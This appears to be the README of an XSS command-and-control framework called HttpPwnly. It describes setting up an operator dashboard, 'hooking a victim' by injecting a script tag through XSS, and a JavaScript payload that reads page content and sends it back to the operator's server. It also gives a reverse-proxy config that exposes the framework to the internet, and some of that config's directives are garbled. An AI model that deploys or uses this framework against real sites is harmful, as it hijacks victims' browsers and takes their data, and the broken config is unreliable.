pip install -r requirements.txt
to run the tool, simply use:
python httppwnly.pyFor production usage, you should run and configure a reverse proxy which offers both HTTP on port 80 and HTTPS on port 443 with a properly signed SSL certificate. This is free and fairly straightforward with Lets Encrypt providing you own a domain. See "Reverse proxy" below for further info and a copy-paste nginx config.
When you run httppwnly, a randomly generated password for the user "admin" will be displayed in the terminal. At this point, visit https://[yourdomain]/login in your browser. After logging in, you will have access to the /dashboard.
In order to hook a victim, you should write the following script tag to a page via XSS:
To overide normal task output data within your payload (for example in order to retrieve output from XMLHttpRequest), call the "sendOutput" function and pass it your intended output. For example:
var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4) { sendOutput(id,xmlhttp.responseText); } }; xmlhttp.open("GET", "/", true); xmlhttp.send();
HttpPwnly will bind to localhost:5000. In order to make the framework accessible remotely, the best approach is to use a reverse proxy. It's also recommended to offer HTTP as well as HTTPS, another reason to use a reverse proxy! I personally recommend using nginx for this. This is a working nginx config file: ``` server { listen 80; server_name example.com;
location / { proxy_pass http://127.0.0.1:5000; proxy_http_version 1.1; proxy_buffering off; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "Upgrade";}
} server { listen 443 ssl; servername example.com; sslcertificate /etc/letsencrypt/live/example.com/fullchain.pem; sslcertificatekey /etc/letsencrypt/live/example.com/privkey.pem; location / { proxypass http://127.0.0.1:5000; proxyhttpversion 1.1; proxybuffering off; proxysetheader Upgrade $httpupgrade; proxyset_header Connection "Upgrade";
}
} ```
